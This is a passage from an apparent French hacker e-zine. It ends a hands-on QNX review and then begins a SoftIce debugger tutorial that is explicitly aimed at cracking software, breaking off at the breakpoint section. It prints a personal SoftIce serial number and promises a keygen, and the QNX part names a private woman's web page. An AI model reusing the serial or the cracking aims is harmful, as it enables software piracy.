(MAC adress) et une combinaison d'un ID de node logique et d'un ID de réseau. La node logique peut être simplement "2", qui est relié à la MAC adress de la carte réseau. - Le ID du réseau permet à plusieurs réseaux logiques d'être interconnecté dans une machine. Affaire freak qu'on peut faire avec le Network Manager : Supposons qu'on a 2 ordis un a coté de lautre connecter en 10BASE-T. La vitesse maximum est donc de 1100kb par seconde. Si on branche une seconde carte réseau dans chaque ordi, et qu'on les relit aussi en 10BASE-T, le Network Manager va s'occuper de passer par les 2 pour les mêmes opérations, donc la vitesse va être de 2200kb par seconde. Le tout se fait automatiquement selon la charge du réseau. Aussi lorsqu'il arrive un problème avec un des liens du réseau, Net va encore d'une manière automatique passer par un autre chemin. TCP/IP et socket : QNX supporte évidamment le TCP/IP, d'une manière dérivé de BSD 4.3. Avec tout ces modules de chargés, on peut se prommèner dans un système QNX d'une manière particulière. Si "ls /" nous donne le listing du répertoire "/", et bien "ls //1/" va nous donner le listing du répertoire "/" sur la node #1. La node #0 est réservé pour faire le tout localement. Aussi, faire "//1 ls /" va faire un ls / sur ta machine, MAIS le ls va être exécuter sur la node 1. Même chose pour tout répertoire/node/programme que vous voulez :-) et finalement nous allons vers la lumière... Photon : Le microkernel graphique ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Le GUI disponible pour QNX s'apelle Photon. C'est un microkernel graphique, un peu dans le même genre que le microkernel lui-même : c'est aussi un tout petit process qui prends à peine 45ko de code et qui charge les différentes composantes en modules externes. Il fonctionne un peu comme X Window, c'est à dire qu'il possède la dualité client/serveur. Il possède aussi un paquet de Widgets prédéfinis : Des scrollbars, progress bar, listes, boutons, arbre, html viewer, etc. Il fite donc bien dans QNX, car il est complet et de type "microkernel". Conclusion of part 1 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ouffe, J'avoue que tout cela en fait du stock à assimiler. Surtout si vous n'aviez pas de base en théorie de système d'exploitation. Mais maintenant vous pouvez vous dire que vous en savez pas mal sur QNX _et_ sur le fonctionnement général d'un OS. Évidamment il reste encore plusieurs choses intéressentes a explorer genre la mémoire virtuel/ paginé/protégé.. QNX apporte beaucoup de choses de nouveau dans le domaine des OS, ses fonctionalités réseau avec les IPC m'ont vraiment émerveillés, et j'espère que ça la faite autant de votre coté. En passant QNX n'est pas un genre de 0day OS.. ça fait plusieurs année qu'il existe, mais bon c'est moins vieux que IRIX ou HP-UX.. 8-) Bon pour ceux qui veulent bouffer du QNX jvous invite a lire la partie 2 de cet article.. qui sera complétement le contraire de la partie 1.. c'est à dire : de la pure pratique au lieu de la pure théorie. Si vous avez passer des bouts de la premiere partie ou pire, si vous l'avez pas lu, c'pas grave, la deuxième partie s'adresse vraiment à un publique plus large. Sur ce, n'arrêter par de réfléchir, la théorie est quand même une chose pratique dans la vie. < prennez le temps d'allé pisser - Scott Towel > Part #2 : Try it for fun ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ heh Alors me voici live de mon cégep dans un local désert rempli de P2 266. Vla 2 semaine jai installé QNX sur une machine, c'est donc à partir d'ici que je vais écrire la partie "pratique" de cet article! bon pour l'installation vous allez trouver ça facile c'est sure. C'est aussi facile que d'installer n'importe quel shit avec un installer tout fait Vraiment je crois pas que vous avez besoin d'aide la. fak http://get.qnx.com/ ~27 meg, thats all. Vous allez trouver la une version "windows 9x installer". Si vous êtes pas dans Windows 9x, ou bien que vous voulez QNX sur cdrom ben y vous reste qua downloader le ISO de ~260 Megs pis de le burner. Dans ce cas vous pouvez quand meme la foutre dans votre partition FAT32 ou le mettre dans sa propre partition. Pkoi le installer fait 27Megs pis le ISO 260? Paske le iso contient beaucoup plus de "packages" (exemple : quake 2 (et oui QUAKE 2!!!!!!!)) Donc au lieu de toute downloader au fur et à mesure de sur le net, vous n'avez qu'a le "downloader" du CDROM (fun.) Note : rebooter votre machine plus tard.. sinon comment vous allez me lire? Bon, advenant comme moi que vous avez installé ça avec le installer et pas sur votre ordi et que vous vous préoccupez des choses dans le genre que vous voulez pas que personne vienne bretter dessus, et bien faite vous en pas QNX se load à partir d'un seul fichier qui contient son filesys dans votre partition FAT(32) (comme BeOs.). Et puis non ça scrappera pas votre MBR, ça fait des modifications dans le config.sys pour un beau petit menu (encore la vous pouvez vous arranger pour cacher le tout, mais heu tant qua loader du unix sur une bécanne que vous êtes pas supposer, allé pogner Trinux (allo kevo) ou bien il existe une verison de QNX faite pour une seule disquette http://www.qnx.com/demodisk/index.html ) boot up! Hum, on dirait que Windows 95 se load.. ah non c'est vrai ça l'affiche le screen laid (logo.sys) avant le menu. bon beau menu : Menu de démarrage de Microsoft Windows 95 ========================================= 1. Appuyer sur enter pour continuer 2. Poursuite du chargement de Windows... 3. ALL YOUR BASE ARE BELONG TO US Entrez un choix: _ Évidament, j'ai changé le timeout pour 1 seconde et un peu le texte en vérité les choix sont : 1. Windows 2. QNX Realtime Platform 3. QNX Realtime Platform (DMA Disabled) Fak ma prendre 1. ALL YOUR BASE ARE BELONG TO US y ma lair le fun :-) FYI, voici le code du config.sys qui fait ça : [menu] menuitem=WIN, Windows menudefault=WIN,1 menuitem=QNXDMA, QNX Realtime Platform menuitem=QNX, QNX Realtime Platform (DMA Disabled) menucolor=7,0 bon la ya le boot leet (qui est moins long/plein de bébelle que linux) wow déja hehe oui c'est fast en titi meme sur un P2 266 a booter c'est vraiment fou même pas 30 secondes (pis ya le login graphik la.) bon alors la ya un beau petit login screen ben normal User Name: root Password: ****** bon premièrement oui j'ai déjà booté avec et javais toute fucker les settings de la carte video. hehe menfin Si c'est votre premier boot dans QNX vous devriez voir Voyager (web broswer de QNX) avec les help files. Comme vous êtes trop vedge pour les lires et que mon article est super (hehe) on peut laisser faire ça. Bon ok, si vous aimez pas comment j'écris ET SURTOUT si vous voulez savoir les différences entre votre Neutrino et le "QNX" que j'ai décris dans ma partie théorique de cet article allé la : http://support.qnx.com/support/docs/index.html C'est _toute_ la doc officiel disponible. (après lecture sommaire, on dirait que cte doc la est "new school" et que le livre que j'ai lu avant de faire ma partie théorique est plutot "oldshool" (ou ben c'est l'effet qu'un livre me donne comparer a une page web???). -- bon maintenant retennez ça par coeur : -- A droite cliquer sur Terminal (wow méchan quick lunch qui prend toute mon screen de drette... pkoi? C'est simple, avec un gros quick lunch large de même la place pour les fenêtre a dlair plus rectangle comme une feuille (remarquer ça cé mon hyprothèse personnelle) donc plus user-friendlay (ta été chercher ça loin last!!) bon alors on se retrouve avec le prompt # _ la comme c'est pas meiveilleux votre partition DOS est déjà mounté elle est dans le répertoire /fs/hd0-dos dans mon cas donc allé voir dans /fs # ls /fs C'est fun la vous devrier voir un ou plusieurs reps, donc lets go dans celui qui vous plait # cd /fs/hd0-dos tadam welcome to C: La je vienne de comprendre que si vous avez plusieurs partitions elle devrait se nommer hd0-dos hd1-dos etc etc donc allé retrouver ce gentil petit txt dans le bon rep. pour ouvrir le file allé zy avec "ped" # ped Mindkind01.txt weps!! "An error has been detected on this file." bon heu affollez-vous pas c'est surement que Windows save ça en ANSI alors que lui s'attend a avoir du UTF truckin machin standard. Ça se peut aussi que ça vous fasse rien de spécial, mais nyways si sa vous sort ce msg d'erreur, allé zy avec "US Latin" et cliquer sur le bouton pour décoder -- Bon maintenant que vous savez tout ce bout la part coeur, vous pouvez rebooter dans QNX -- (re)Bienvenue dans QNX. Petit dernier "fast trouble shooting" : Vu que je veux pas que vous devenez aussi myope que moi, on va arranger les settings de la carte video, oui bon c'était facile au début de choisir de quoi comme résolution mais la avouer que le refresh rate est trop slow, que la résolution est mauvaise ou que c'est le contraire (dans mon cas le refresh rate était TROP haut.. bad.) Donc la aller dans le menu Lunch (hum on dirait Start ou ben "Patte de gnome" ou ben big K.. entk) en bas à gauche, dans Configure et "Video Display". La vous avez toute vos settings y compris le settings courant Alors la toute est hyper facile remarquer cependant qui va avoir des choix qui marcherons pas. Donc selon vos settings que vous êtes habitué allé zy avec ce que vous voulez. Si vous n'avez aucune idée, allé zy avec 800x600, 32bit et un Refresh Rate de 70 c'est ça que j'ai et mon écran a pas sauté encore. (si votre écran stune 21 po metter ça a plus que 800x600, genre 1280x1024) Bon la vous cliquer sur "Apply" et comme dans Windows ça l'attend 15 secondes donc dépèchez-vous de cliquer sur Accept ! Maintenant, Vous êtes prêts. A la découverte de QNX ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Finalement, ce que je vais faire ici c'est comme vendre le OS. Je suis conscient que c'est pas tout le monde qui vont vouloir l'installer dès le départ; surtout s'il y ne savent pas à quoi s'attendre. Attendez vous pas à quelque chose de "linux", à mon avis c'est plus quelque chose comme FreeBSD mélanger avec BeOS : Les applications en GUI sont toute faite et prête et on peut rien crisser en console à moins de déjà tout savoir les commandes par coeur. Par contre si vous voulez gosser de quoi qui nécessite un OS "unix" rapidement, QNX est une bonne solution à peu près comme BeOS toute en étant différente (wow vive la diversité c'est comme pas pareil avec les système plus commercial dans le domaine des workstations.) Bon alors regardons les features "hots" de QNX et les applications fourni avec. Microkernel ¯¯¯¯¯¯¯¯¯¯¯ Si vous avez lu la premiere partie de cette article vous savez déjà de fond en comble ce qu'est le microkernel de QNX. Ils ont nommé le microkernel "Neutrino" (un neutrino est en faite une des particules les plus petites dans un atome). GUI ¯¯¯ "Photon" de son nom, le GUI est assé jolie à mon avis. Il me fait penser a du beau X-Window et ressemble un peu à BeOS. Photon a aussi un petit frère qui s'apelle XPhoton. Ce dernier permet de charger des applications X-Window dans Photon, cool. Cependant il faut l'installer à part, car ça ne vient pas dans l'installation de base. Les menus sont compréensibles et affichent les shortcuts clavier. La présentation de base ressemble à un Start Menu. Genre ya un "Launch" en bas à gauche avec plusieurs shortcuts vers des applications. Une task bar nous montre les applications en cours et des shortcuts et moniteurs de CPU/ RAM/modem et controle de son. fun. L'application qui sert de shell et qui affiche tout ça sapelle Shelf. Évidament, on peut toute configurer ça comme on veut avec "Shelves" dans Lunch/Configure. Applications ¯¯¯¯¯¯¯¯¯¯¯¯ Dans le quick lunch de droite on retrouve une multitude d'applications qui font que QNX est déjà pas mal complet comme OS dès sa première installation. - Helpviewer : Browser de help ben lfun qui ressemble a ce quon peut retrouver dans windows avec les .chm; assé pratique car il contient toute la documentation sur le OS et les manpages. - Terminal : terminal qui prompt un sh. ben simple avec des bonnes options de paste en popup. - Editor (ped) : Ceci est l'éditeur texte par défault, il est fonctionnel et il fait du texte en genre de RTF (dla couleur, du bold, underline, italic, align.. etc) ~~~~~~~~~~~~~~~~~ Intermede ~~~~~~~~~~~~~~~~~~~~ et merde chu arriver pour continuer mon article, je me dis "bon ma allé checker mes emails", je click sur le log de hotmail.com Voyager ne répond plus. J'assaye de le fermer. Rien. Je start un terminal tant bien que mal.. je check mon ps je trouve le pid de Voyager. kill -9 pid_voyager PAFF system lock-up. number/shift qui répond pu, la mouse qui bouge pu. Conclusion : bien que ça la dlair stable, QNX a planté devant ma face en mode "normal" (donc DMA a ON). Les autres fois jétais en mode DMA disabled et ça la jamais planter. entk faite ce que vous voulez avec cette conclusion, mais si jai jamais planter en DMA disabled et que jai planter la premiere fois que jai gosser en DMA à ON .. ben le monde régulier plante. heh bon la je suis encore en mode régulier.. ~~~~~~~~~~~ de retour à notre programme principal ~~~~~~~~~~~~~~~~ - File Manager : Windows users bonsoir, cet application nous permet de voyager dans les répertoires du système tout comme Windows Explorer mais en plus laid. - Image Viewer : Viewer un peu laid qui a ouvert seulement 1 des 3 BMP qui y avait dans la partition dos sur la machine. Au moins les 5-6 jpg/gif que jai pogner dans le help de QNX se sont ouvert comme faut. - Desktop Config : Configuration de base pour les fenêtres et les backgrounds. Normal. - Screen Saver : 12 screensavers qui ressemblent aux plus laids dans Linux/X-Win. Moyen. - Calculator : Calculatrice, rien de super, même pas scientifique. - Dialer : espèce de shortcut qui nous ammène dans les dialup settings dla config du network.. surement pour montrer au puriste en dial-up comment allé sur le net "facilement". Remarquer ici pour le net jai pas eu trop de trouble, car avec le réseau ya toute trouvé les settings tout seul (sauf le proxy bien sur). - Voyager : Cool, un broswer. C'est pas encore Mozzila (Netscape) ou Internet Explorer, mais je dirais que cé comparable à la derniere version de Opera, mais qui ressemble tout de même au 2 bigs browsers. Chu pas capable de me logger dans hotmail (voir note plus haut dans l'intermede), mais slashdot, pis doyoulookgood marche bien... oh! Error : Out Of Image Cache Space. D'accord.. ya une limite de cache d'images (je suis sur dylg, et j'ai 3 fenêtres de broswers de ouvert dont une sur la page de Véro Poulin qui a une webcam ça dlair. haha Bon jai été dans les Prefs pis y me demande de restarter Voyager pour que ça fasse effet. J'ai mis 8 Mo au lieu du 4, et je peux maintenant voir la pic de l'amie à vero poulin. assé cute. bon je suppose que vous voulez le url pour faire des TESTS BIEN SURE. http://www.multimania.com/veropoulin/46.html Remarquer que le BG prend de la place en crime et si vous enlever le 46.html vous avez une page full de pics.. donc c'est bon pour tester la cache, aussi vous pouvez ouvrir une fenêtre comme dans IE avec Shift click sur le lien.. Bon, je viens de remarquer aussi que le tag blink fonctionne.. Aussi que véro poulin est célibataire, mais son amie je sais pas. Idée : je vais tester si Voyager envoie bien les formulaires et je vais lui demander en comment. (je signe la mailling list de mindkind pour les intéresser à la suite de cette histoire folle.) Successfull. heh. Trève de plaisanterie Voyager est un bon broswer qui fait bien sa job À mon avis cé l'apps la plus cool qui vient avec le OS la. - Vmail : hum on dirait ben un clone de Outlook, j'peux pas vraiment le tester mais y ma d'lair nice. - Bon ensuite de t'ça ya MediaPlayer, Mixer, NetWork CFG, Spool Mgr, Localisation.. self explainning. - Package Mgr : Wow. ça jai trippé ben raide.. dite que ca ressemble à RPM manager ou Windows Updater je men fou, je l'aime. Le server est fast et ya tout plein de progs à downloader pour installer dans QNX, et toute ça d'un seul click... toute s'installe tout seul! On y retrouve des patchs pour QNX, et plein de softs. Le cdrom QNX (le iso de 200 qq meg la) contient la plupart des affaires.. mais ya surement du nouveau stock ou des extras sur le www repository. On retrouve vraiment de toute : Perl, Python, Tin (news reader), Phirc, MCFTP, Vim, Sendmail, pine, Quake 3, Doom, RealPlayer... ouff yen a trop :-) Menfin yen a en masse pour en assayer pendant qq jours sans se tanner Autre affaire de fun, dès que vous installer un package, ya un lien qui va s'ajouter dans le menu "Lunch". Vraiment pratique. (bon ok dans mon cas ça me tantait pas de tapponner avec le driver video fak Quake3 marche pas mais doom marche dans une petite fenêtre!) Si tout ça vous enchante pas, dites-vous que n'importe kel application console POSIX est supposée se compiler (si elle supporte QNX bien sûr ou si elle est _standard_) et qu'on peut runner des applications X-Windows à l'aide de Xphoton; un serveur X qui run dans photon. blah blah ¯¯¯¯¯¯¯¯¯ Et bien, je vois vraiment pas quoi rajouter de plus, si ce n'est que c'est un OS qui est à assayer (surement au même point que BeOS). La version que vous downloader et installer sur votre machine n'est pas exactement la même "distribution" que les gros serveurs ont, mais c'est quand même le même microkernel et la même interface graphique Ce logiciel est made-in-canada ; le HQ d'la co est à Kanata en Ontario. Aussi QNX est pas "hyper ressent". En 1980 la co. a été fonder, et QNX a été le premier OS à offrir différents concepts : Le microkernel en 81, le processing transparent en 84, microkernel POSIX realtime en 90, web browser(Voyager) embeded dans le OS en 97, OS avec un GUI/browser/dialer/TCPIP/etc qui rentre dans un floppy 1.44, etc.. Décidement QNX est vraiment _cool_, heh. Bon heu m'en vas me faire tatouter QNX juste la. The end. (mon premier article, wouhou! Le titre est par Wyze et jle remerci de mavoir donné le gout d'écrire, j'aime ça.) - LastCall_ ----------------------------------------------------------------------- Liens référencés : http://get.qnx.com/ http://www.qnx.com/demodisk/index.html http://support.qnx.com/support/docs/index.html http://www.hotmail.com http://www.slashdot.org http://www.doyoulookgood.com http://www.multimania.com/veropoulin/ Pour une lecture plus détaillé sur la partie théorique référer vous au livre suivant : -> QNX Operating System, System Architecture Gentil petit guide de 175 pages écrit par QNX Software System Ldt. Première édition publiée en Janvier 1992, deuxième en Octobre 1997. Donne une aperçu détailler de la structure et des fonctions de QNX: Le Microkernel, les System Managers et le IPC. .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' < Table #29 : ya pas juste la 8 que j'aimerais rentrer > [ Another quote from a Mindkind meet ] .--. .----------------------------------------------------------------/ /--. | / / | | Softice, l'outil d'un cracker / / 04 | | / / | '------------------------------------------------------------/ /------' '--' Softice est un logiciel de débogage à temps réel, il en est rendu à sa 4e version distribuée sur WindowsNT et Windows9x. A l'origine Softice est un logiciel utilisé pour trouver les bogues dans les logiciels informatiques, nous par contre nous l'utiliserons dans le seul but de cracker nos programmes cibles. Comme Softice est un des outils les plus utilisé pour cracker, il vaudrait mieux pour vous de bien le connaître enfin si c'est ce que vous recherchez vraiment sinon il y a d'autre texte sur Softice, plus complet pour les programmeurs avertis. Par contre si c'est le cracking qui vous intéresse et que vous ne connaissez pas encore Softice, n'hésitez pas à lire ce texte en entier car mes prochains textes sur le cracking seront relier à Softice dans la plupart des cas. Installez vous confortablement et lisez attentivement certains bouts seront peut-être un peu complexe pour ceux qui ne sont pas familiés avec les processeurs x86. Nous verrons le fonctionnement de Softice, des informations précieuses qu'il peut nous apporter et quelques petits trucs pour vous faciliter l'utilisation de Softice. Softice à été créé par Numega (http://www.numega.com), nous aurons la version 4.05 en téléchargement sur le site web de Mindkind. Une fois téléchargé nous avons notre fichier d'installation qui se nomme SI405w9x.exe, alors maintenant nous allons l'installer, nous cliquons sur le fichier d'installation et nous arrivons à une fenêtre qui nous demande d'entrer notre numéro de série, nous allons entrer 4207-552339 -B9 c'est celui que j'utilise personnellement mais je fournirai un petit générateur de clef qui offre les numéros de série de tous les logiciels que Numega ont créé, sur notre site web. Ensuite à la fenêtre suivante il vous demande l'emplacement que vous aimeriez l'installer, choisissez l'emplacement par défaut c'est-à-dire c:\program file\Numega\Softice95\ et assurez-vous de cocher les "program files" dans la fenêtre suivante et si vous voulez en savoir plus sur Softice cochez les documents, le reste est peu utile. Rendu à la fenêtre suivante vous aurez la configuration de votre carte vidéo et de votre souris, alors si vous ne trouvez pas votre carte vidéo dans cette petite fenêtre il vous suffit d'utiliser le "Standard VGA" avec "Universal Video Driver" et cliquez sur le bouton test pour faire un test de vidéo si tout va bien continuez, une fois fait cochez le port que votre souris utilise et passez à la fenêtre suivante, elle va vous demander si vous voulez ajouter une ligne dans l'autoexec.bat, à ce moment cochez oui et allez à la prochaine fenêtre, à cette fenêtre vous pouvez vous enregistrer en ligne pour avoir plus d'information sur Softice et les nouvelles versions qui pourraient arriver alors faites ce que bon vous chante. Nous avons fini la configuration de l'installation il ne reste plus que le message qui nous demande de redémarrer l'ordinateur mais n'y cliquez pas et sortez de l'installation, nous allons faire quelques modifications à un fichier de Softice avant de redémarrer. L'édition du fichier winice.dat, le fichier de configuration de Softice. Nous allons ouvrir ce fichier avec un éditeur texte comme notepad.exe, il vient avec Windows alors vous l'avez sûrement. Une fois son contenu dévoilé nous verrons les lignes de configuration, je vais vous expliquer que les lignes importantes, le reste laisser le par défaut ou referez vous à la documentation de Softice si vous voulez en savoir plus sur certain paramètre. PHYSMB=32 Cette ligne informe Softice du nombre de mémoire disponible sur votre ordinateur, remplacez donc le 32 qui est par défaut, par le nombre de mémoire vive (RAM) que vous avez. J'ai entendu dire qu'il y avait des problèmes d'affichage qui survenaient quelques fois alors si vous avez un problème de ce genre avec Softice n'hésitez pas à remettre ce paramètre à 32. INIT="X;" Cette ligne est la ligne d'initialisation, Softice exécute les commandes de cette ligne au démarrage. C'est donc dans ce paramètre que vous mettrez votre préférence face à Softice. Je vais nommer ceux que la plupart des gens utilisent mais c'est personnel à chacun. Je commence par ajouter la commande "Faults OFF", cette commande met en sourdine les apparitions de Softice lorsqu'il y a des fautes détectées. J'ajoute aussi la commande "CODE ON", cette commande affiche l'hexadécimal (OPCODE) des commandes ASM. J'ajoute à la suite les grandeurs de la fenêtre principale pour moi qui suis en résolution 1024 j'utilise "Lines 90" et "Width 100" ainsi que les grandeurs des fenêtres tel que la fenêtre des datas "WD 15" et la fenêtre de code "WC 40" et j'ajoute aussi "WR" pour faire apparaître la fenêtre des registres. Pour finir d'ajoute la ligne pour les couleurs personnellement j'aime mieux changer les couleurs alors ça donne ceci "COLOR 0A F 70 7". Alors voici la ligne d'initialisation que j'ai dans mon winice.dat. INIT="Faults OFF;CODE ON;Lines 90;Width 100;WD 15;WC 40;WR;COLOR 0A F 70 7 F;X;" ;EXP=c:\windows\system\kernel32.dll Ces lignes sont les lignes d'exportations, elles vont exporter les apis des fichiers drv/dll/exe. Pour ma part je les exporte tous, pour les rendre exportable enlevez le point-virgule au début de la ligne. Maintenant vous pouvez REDÉMARRER Donc rendu à ce point si vous devriez avoir redémarré et donc avoir Softice en mémoire, il est en tout temps accessible par la combinaison des touches CTRL+D. Softice se présente sous une apparence assez sombre, une fenêtre noire avec beaucoup d'information, de l'information concernant les registres, la mémoire, le code ASM et ses opcodes etc... La fenêtre des registres. On affiche cette fenêtre avec la commande WR. Voici à quoi ressemble la fenêtre des registres: +---------------------------------------------------------------------------+ |EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 ESI=00000000 | |EDI=00000000 EBP=00000000 ESP=00000000 EIP=00000000 o d i s z a p c | |CS=0000 DS=0000 SS=0000 ES=0000 FS=0000 GS=0000 | +---------------------------------------------------------------------------+ Cette fenêtre affiche les registres et leur contenu. Pour changer le contenu d'un registre sous Softice il suffit d'utiliser la commande "R". Quelque exemple: R ; ici un curseur apparaît et nous laisse libre de modifier les registres que l'on veut. R EBX ; ici un curseur se positionnera sur le registre EBX pour nous laisser l'éditer. R EAX 0 ; ici le registre eax sera mit à 0. Les registres sont des emplacements "mémoire interne" au processeur, puisque cette mémoire est dans le processeur elle a comme caractéristique d'être très rapide et elle est utilisée continuellement par les programmes. Il y a 4 grands groupes de registre sur les processeurs x86 et un registre 16bits un peu spécial, il y a les registres généraux, les registres d'index, les registres pointeur, les registres de segment et un registre qui se nomme l'indicateur. Tous les registres ont une taille de 16 bits qui ont été attribué dans le temps des processeurs 8086, la naissance des processeurs x86, mais depuis le nouveau processeur 386 il est désormais possible d'utiliser les registres généraux en 32bits et même de les séparer en 8bits (Low,High). Les registres généraux: ------------------------------------------------------------------------ 8bits 16bits 32bits Remarque ------------------------------------------------------------------------ AL, AH AX EAX Accumulateur, sert vraiment à tout. BL, BH BX EBX Base, sert à gérer l'adressage de base. CL, CH CX ECX Compteur, sert souvent dans les boucles. DL, DH DX EDX Données, utiliser dans les résultats calcul. ------------------------------------------------------------------------ Les registres d'index: ------------------------------------------------------------------------ 16bits 32bits Remarque ------------------------------------------------------------------------ DI EDI Destination Index, sert aux copies mémoire et au comparaison. SI ESI Source Index, sert au copie mémoire et au comparaison ------------------------------------------------------------------------ Les registres pointeur: ------------------------------------------------------------------------ 16bits 32bits Remarque ------------------------------------------------------------------------ BP EBP Base Pointer, Associer au registre de segment SS. SP ESP Stack Pointer, Associer au registre de segment SS. IP EIP Instruction Pointer, Pointe sur l'instruction en exécution. C'est le pointeur de la pile. ------------------------------------------------------------------------ Les registres de segments: ------------------------------------------------------------------------ 16bits Remarque ------------------------------------------------------------------------ CS Code Segment, contient les instructions qui seront exécutées. DS Data Segment, contient les données. SS Stack Segment, permet d'accéder à la pile. ES Extra Segment, utilisé lors des copies de bloc. FS Segment Supplémentaire, ressemble beaucoup à ES. GS Segment Supplémentaire, ressemble beaucoup à ES. ------------------------------------------------------------------------ Le registre indicateur: ------------------------------------------------------------------------ O D I S Z A P C Leur Nom | | | | | | | | | | | | | | | +------- Carry Flag | | | | | | +--------- Parity Flag | | | | | +----------- Auxiliary Flag | | | | +------------- Zero Flag | | | +--------------- Sign Flag | | +----------------- Interrupt Flag | +------------------- Direction Flag +--------------------- Overflow Flag C: Si après une instruction de calcul il y a une retenue ce registre est à 1 sinon il est à 0. P: Si après une opération le résultat à un nombre pair de bits à 1 alors il est à 1 sinon il est à 0. ex: 11101101 ici ont à 6 1 donc c'est pair le flag est à 1. A: Relier au carry flag. Z: Si ce flag est à 1 c'est que le résultat de l'opération égale 0 sinon il est mit à 0. ex: 5-5 = 0 le résultat est 0 donc le bit est à 1. S: Si ce flag est à 0 c'est que le résultat de l'opération est positif sinon c'est qu'il est négatif ! I: Permet d'empêcher les interruptions de se déclencher. D: Sert dans les copies mémoires. O: Lors d'opérations sur des nombres signés si le résultat est plus grand que le registre qui contient le résultat ce bit est à 1 sinon c'est 0. ------------------------------------------------------------------------ La fenêtre des datas, On affiche cette fenêtre avec la commande WD. Voici à quoi ressemble la fenêtre des datas: DS:ADDR HEXADECIMAL DATA +------------------------------------------------[ byte ]----------------+ |0000:FFFFFFF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF1 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF2 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF3 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF5 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF6 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF7 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | |0000:FFFFFFF8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......... | +------------------------------------------------------------------------+ Cette fenêtre affiche les adresses, le code hexadécimal et leur équivalent ascii. Vous pouvez défiler la fenêtre des datas en tout temps avec les flèches, pageup, et pagedown en tenant enfoncer ALT en même temps. Il y a plusieurs façons de représenter l'information mémorielle. Voici ces représentations : Byte = db ex: db EAX Long = dl ex: dl EAX Dword = dd ex: dd EAX Word = dw ex: dw EAX Short = ds ex: ds EAX 10 byte = dt ex: dt EAX En générale on utilise le mode Byte(8bits) mais utilisez celui qui vous chante. Pour afficher le contenue d'une adresse il suffit d'utiliser la commande "D ". Quelque exemple: D EBX ; affiche le contenu de EBX. D 00040000 ; affiche le contenu de l'adresse 00040000. Pour éditer l'hexadécimal ou le data utilisez la commande "E . Quelque exemple: E EBX ; positionne un curseur à l'emplacement mémoire de EBX nous laissant le plein pouvoir de l'éditer comme on le veut. E 00040000 ; positionne un curseur à l'emplacement mémoire de 0040000 nous laissant le plein pouvoir de l'éditer comme on le veut. nb: pour pouvoir éditer le data utiliser la touche TAB. La fenêtre de code, On affiche cette fenêtre avec la commande WC. Voici à quoi ressemble la fenêtre de code: CS:ADDR OPCODE ASM +----------------------------------------------------------------------+ |0028:FFFFFFFF C3 RET | |0028:FFFFFFFF C3 RET | |0028:FFFFFFFF 90 NOP | |0028:FFFFFFFF 90 NOP | |0028:FFFFFFFF 90 NOP | |0028:FFFFFFFF 90 NOP | |0028:FFFFFFFF 90 NOP | +----------------------------------------------------------------------+ Cette fenêtre affiche les adresses, le code hexadécimal (OPCODE) et le code ASM. Vous pouvez défiler la fenêtre des datas en tout temps avec les flèches, pageup, et pagedown en tenant enfoncer CTRL en même temps. Pour éditer l'hexadécimal ou le data utilisez la commande "E . Quelque exemple: A ; permet de changer la commande ASM sur l'adresse que le surligneur est positionné. A EAX ; permet de changer la commande ASM que le registre EAX pointe. Évidement quand vous voyez le code il est fixe (en arrêt) et vous avez une ligne qui surligne. Nous avons donc notre fenêtre de code et notre ligne de surlignement, cette ligne est en faite un marqueur pour indiquer à quel ligne de code nous sommes rendu à exécuter. Tracer, tracer c'est l'art d'exécuter le programme ligne par ligne de façon à voir le code ce qui nous permet de l'interpréter en même temps que le processeur. Pour tracer il y a 2 touches: F8: Cette touche va tracer le programme en entrant dans les calls, les calls sont des fonctions appelées. F10: Cette touche va tracer le programme sans entrer dans les calls. La dernière fenêtre n'est qu'une fenêtre d'info avec quoi Softice nous communique des messages et c'est dans cette même fenêtre que l'on tape les commandes. Il y a d'autres fenêtres plus ou moins importante que vous pourrez faire apparaître avec les commandes suivante, WF pour la Floating Point Window, WMSG pour la Windows Messages, WS pour la Call Stack Window, WW pour la Watch Window et WX pour la PII XMM registres, les autres nous les avons vu plus haut. Les FKeys, Softice à des FKeys bien propre à lui avec le temps ils sont devenus un standard en cracking alors ne les changez pas si possible car ils sont configurable dans le fichier winice.dat. F1(Help): Aide F2(WR) : Affiche la fenêtre des registres ou la cache. F3(SRC) : Change pour la source, mixer et code. F4(RS) : Voir l'arrière plan que Softice cache. F5(X) : Quitter Softice. F6(EC) : Aller de la fenêtre de code à la fenêtre de commande. F7(HERE): Aller au curseur activer. F8(T) : Tracer en entrant dans les calls. F9(BPX) : Poser un point d'arrêt sur la ligne surligner. F10(P) : Tracer sans entrer dans les calls. F11(G @SS:ESP) : Sortir du call. F12(P RET) : Met un point d'arrêt après le ret. Alt+F1(WR) : Affiche la fenêtre des registres ou la cache. Alt+F2(WD) : Affiche la fenêtre des datas ou la cache. Alt+F3(WC) : Affiche la fenêtre du code ou la cache. Alt+F4(WW) : Affiche la fenêtre des "Watch" ou la cache. Alt+F5(CLS) : Efface la fenêtre de commande. Alt+F8(XT R) : Entre dans le mode de traçage. Les points d'arrêt, ce qu'il fait la force de Softice est sûrement les points d'arrêt, je vais vous décrire les différents points d'arrêt et vous donner les commandes rattachées à eux et des exemples. Les points d'arrêt sur les exécutions, grâce à eux nous pouvons mettre des points d'arrêt sur des api ou des adresses ce qui nous facilitent la tâche beaucoup plus, au lieu de tracer jusqu'à tel et tel api nous avons juste à lui mettre un point d'arrêt. BPX (Break Point On Execution) BPX address [IF expression] [DO bp-action] Quelque exemple: BPX GetDlgItemTextA ; met un 